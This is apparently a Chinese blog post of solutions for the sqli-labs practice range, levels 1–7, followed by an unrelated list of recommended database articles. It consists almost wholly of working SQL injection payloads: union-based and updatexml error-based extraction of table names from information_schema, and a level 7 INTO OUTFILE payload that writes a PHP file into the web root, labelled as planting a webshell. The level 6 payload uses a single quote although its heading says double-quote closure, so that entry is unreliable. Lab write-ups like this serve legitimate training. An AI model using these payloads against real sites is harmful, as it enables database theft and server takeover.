sql-labs靶场

第一关(get传参,单引号闭合,有回显,无过滤)

?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security') --+

第二关(get传参,无闭合,有回显,无过滤)

?id=-1 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security')

第三关(get传参,括号加单引号闭合,有回显,无过滤)

?id=-1') union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security') --+

第四关(get传参,括号加双引号闭合,有回显,无过滤)

?id=-1") union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security') --+

第五关(get传参,单引号闭合,无回显有报错,无过滤)

?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+

第六关(get传参,双引号闭合,无回显有报错,无过滤)

?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+

第七关(get传参,单引号加两个括号闭合,无回显有报错,无过滤)写webshell

?id=-1')) union select 1,2,'<?php phpinfo();' into outfile "D:\\phpstudy\\phpstudy_pro\\WWW\\sqli\\Less-7\\a.php" --+

第八关(get传参,单引号闭合,无回显无报错,无过滤)
相关推荐
这孩子叫逆1 小时前
3. 什么是连接池?为什么使用数据库连接池?
数据库·mysql
solihawk1 小时前
数据库主备副本物理复制和逻辑复制对比
网络·数据库·oracle
Data 3171 小时前
Hadoop三大组件之HDFS(一)
大数据·数据库·数据仓库·hadoop·hdfs·etl
蘑菇蘑菇不会开花~1 小时前
MySQL | 实战 | 4 种将数据同步到ES方案
数据库·mysql·elasticsearch
TuringSnowy2 小时前
SQL_HAVING小例子
sql
-心铭-2 小时前
有关在.Net Core中以TEXT类型将Json格式字段存到数据库的学习
数据库·学习·.netcore
神经星星2 小时前
聚焦Llama新场景和AR眼镜,扎克伯格用AI赋能元宇宙,Meta Connect 2024开发者大会直播约起
数据库·人工智能·机器学习
喵手2 小时前
MySQL增删面试题
数据库·mysql
孤傲小二~阿沐2 小时前
PostgreSQL的学习心得和知识总结(一百五十一)|[performance] PostgreSQL列对齐
数据库·postgresql